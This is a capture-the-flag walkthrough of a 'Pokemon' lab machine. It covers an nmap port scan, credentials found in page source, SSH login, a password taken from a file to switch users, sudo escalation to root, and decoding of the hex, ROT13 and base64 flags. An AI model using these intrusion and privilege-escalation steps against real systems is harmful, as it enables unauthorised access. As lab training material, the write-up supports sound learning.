



Pokemon V2

Active Machine Information

Title	IP Address	Expires	
Pokemon v2	10.10.192.10	57m 57s	<div>? Add 1 hour</div> <div>Terminate</div>

100%

Task 1 Can You Catch'em All?

Remember to connect to the VPN network using OpenVPN, It may take some time for the machine to properly deploy.

You can also deploy your own Kali [Linux](#) machine, and control it in your browser using the provided [Kali machine](#) (Subscription Required).

Enjoy the room!

Start Machine

Enumeration

```
(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.192.10
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 02:52 EDT
Warning: 10.10.192.10 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.192.10
Host is up (0.25s latency).
Not shown: 64021 closed tcp ports (reset), 1512 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
Nmap done: 1 IP address (1 host up) scanned in 60.34 seconds
```

Exploit

Port 80 (http)

At the end of the source page, you will find something looks like a credential format

```
<div class="section_header">
  <div id="bugs"></div>
    Reporting Problems
  </div>
  <div class="content_section_text">
    <p>
      Please use the <tt>ubuntu-bug</tt> tool to report bugs in the
      Apache2 package with Ubuntu. However, check <a
      href="https://bugs.launchpad.net/ubuntu/+source/apache2">existing
      bug reports</a> before reporting a new bug.
    </p>
  </div>
  <pokemon>:<hack_the_pokemon>
    <!--(Check console for extra surprise!)-->
  </div>
</div>
<div class="validator">
</div>
</body>
</html>
```

```
369      bug reports</a> before reporting a new bug.
370    </p>
371  </div>
372  <pokemon>:<hack_the_pokemon>
373    <!--(Check console for extra surprise!)-->
374  </div>
375 </div>
376 <div class="validator">
```

Port 22 (SSH)

```
└─(kali㉿kali)-[~]
└─$ ssh pokemon@10.10.192.10
pokemon@10.10.192.10's password: hack_the_pokemon
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

84 packages can be updated.
0 updates are security updates.
```

```
Last login: Sat Jun 17 03:04:00 2023 from 10.8.97.213
pokemon@root:~$
```

```
(kali㉿kali)-[~]
$ ssh pokemon@10.10.192.10
pokemon@10.10.192.10's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

84 packages can be updated.
0 updates are security updates.

Last login: Sat Jun 17 03:04:00 2023 from 10.8.97.213
pokemon@root:~$
```

First flag

```
pokemon@root:~$ ls -l *
-rw-r--r-- 1 pokemon pokemon 8980 Jun 22  2020 examples.desktop

Desktop:
total 4
-rw-rw-r-- 1 pokemon pokemon 383 Jun 22  2020 P0kEm0n.zip

Documents:
total 0

Downloads:
total 0

Music:
total 0

Pictures:
total 0

Public:
total 0

Templates:
total 0

Videos:
total 4
drwxrwxr-x 3 pokemon pokemon 4096 Jun 22  2020 Gotta
```

```
pokemon@root:~$ cd Desktop/
pokemon@root:~/Desktop$ unzip P0kEm0n.zip
Archive:  P0kEm0n.zip
  creating: P0kEm0n/
  inflating: P0kEm0n/grass-type.txt
pokemon@root:~/Desktop$ cat P0kEm0n/grass-type.txt
50 6f 4b 65 4d 6f 4e 7b 42 75 6c 62 61 73 61 75 72 7d
```

Decode the hexa-decimal string → flag **grass-type**

Root's pokemon

```
ash@root:/home$ ls -l
total 12
drwx----- 6 root    root    4096 Jun 24  2020 ash
drwxr-xr-x 19 pokemon pokemon 4096 Jun 17  02:58 pokemon
-rwx----- 1 ash     root      8 Jun 22  2020 roots-pokemon.txt
ash@root:/home$ cat roots-pokemon.txt
Pikachu!
```

Privilege Escalation → ash → root

Move to directory **Videos/**

```
pokemon@root:~$ cd Videos/
pokemon@root:~/Videos$ ls -la
total 12
drwxr-xr-x  3 pokemon pokemon 4096 Jun 22  2020 .
drwxr-xr-x 19 pokemon pokemon 4096 Jun 17  02:58 ..
drwxrwxr-x  3 pokemon pokemon 4096 Jun 22  2020 Gotta
pokemon@root:~/Videos$ cd Gotta/
pokemon@root:~/Videos/Gotta$ cd Catch/
pokemon@root:~/Videos/Gotta/Catch$ cd Them/
pokemon@root:~/Videos/Gotta/Catch/Them$ cd ALL\!/
pokemon@root:~/Videos/Gotta/Catch/Them/ALL!$ ls -l
total 4
-rw-r--r-- 1 pokemon root 78 Jun 22  2020 Could_this_be_what_Im_looking_for?.cplusplus
```

Could_this_be_what_Im_looking_for?.cplusplus:

```
# include <iostream>

int main() {
    std::cout << "ash : pikapika"
    return 0;
}
```

At the line `std::out` , there is a cred of an user **ash** → `su ash`

```
pokemon@root:~/Videos/Gotta/Catch/Them/ALL!$ su ash
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/ash/.bashrc: Permission denied
ash@root:/home/pokemon/Videos/Gotta/Catch/Them/ALL!$
```

```
ash@root:/home$ sudo -l
[sudo] password for ash:
Matching Defaults entries for ash on root:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in

User ash may run the following commands on root:
    (ALL : ALL) ALL
```

Use `ash` could run **ALL** the commands on root → **ash** could become root as long as you know his password (which is `pikapika`)

```
ash@root:/home$ sudo -i
root@root:~# id
uid=0(root) gid=0(root) groups=0(root)
```

I looked around for while but it was not easy to find out the files which contain flags. So I used this command based on the file name which contains the first flag (`grass-type.txt`)

```
root@root:~# find / -name "*type.txt" 2>/dev/null
/var/www/html/water-type.txt
/etc/why_am_i_here?/fire-type.txt
/home/pokemon/Desktop/P0kEm0n/grass-type.txt
```

Great! The 2 flags of **water** and **fire** pokemon was identified → Get them all

Water-Type

```
root@root:~# cat /var/www/html/water-type.txt
Ec gudfxq_EcGmP{Ec gudfxq}
```

Use **ROT13 brute-force** to decrypt the string

The screenshot shows a web-based tool titled "Recipe" for "ROT13 Brute Force". The tool has several settings: "Rotate lower case chars" (checked), "Rotate upper case chars" (checked), "Rotate numbers" (unchecked), "Sample length" (100), "Sample offset" (0), and "Print amount" (checked). The "Crib (known plaintext string)" field is empty. The "Input" field contains the string "Ec gudfxq_EcGmP{Ec gudfxq}". The "Output" field displays a list of 20 decrypted strings, with the 14th string, "Amount = 14: Squirtle_SquaD{Squirtle}", highlighted in blue.

Amount	Decrypted String
1	Fdhvegyr_FdHnQ{Fdhvegyr}
2	Geiwfhsz_GeIoR{Geiwfhsz}
3	Hfjxgiat_HfJps{Hfjxgiat}
4	Igkyhjbv_IgKqT{Igkyhjbv}
5	Jhlzikcv_JhLrU{Jhlzikcv}
6	Kimajldw_KiMsv{Kimajldw}
7	Ljnbkmex_LjNtW{Ljnbkmex}
8	Mkoclnfy_MkOuX{Mkoclnfy}
9	Nlpdmogz_NlPvY{Nlpdmogz}
10	Omqenpha_OmQwZ{Omqenpha}
11	Pnrfoqib_PnRxA{Pnrfoqib}
12	Qosgprjc_QoSyB{Qosgprjc}
13	Rpthqskd_RpTzC{Rpthqskd}
14	Squirtle_SquaD{Squirtle}
15	Trvjsumf_TrVbE{Trvjsumf}
16	Uswktvng_UswcF{Uswktvng}
17	Vtxluwoh_VtXdG{Vtxluwoh}
18	Wuymvxpi_WuYeH{Wuymvxpi}
19	Xvznwyqj_XvZfI{Xvznwyqj}
20	Ywaoxrzk_YwAgJ{Ywaoxrzk}

Fire-Type

```
root@root:~# cat /etc/why_am_i_here\?/fire-type.txt
UDBrM20wbntDaGFybWFuZGVyfQ==
```

Use **base64 decode** to get the flag in plain text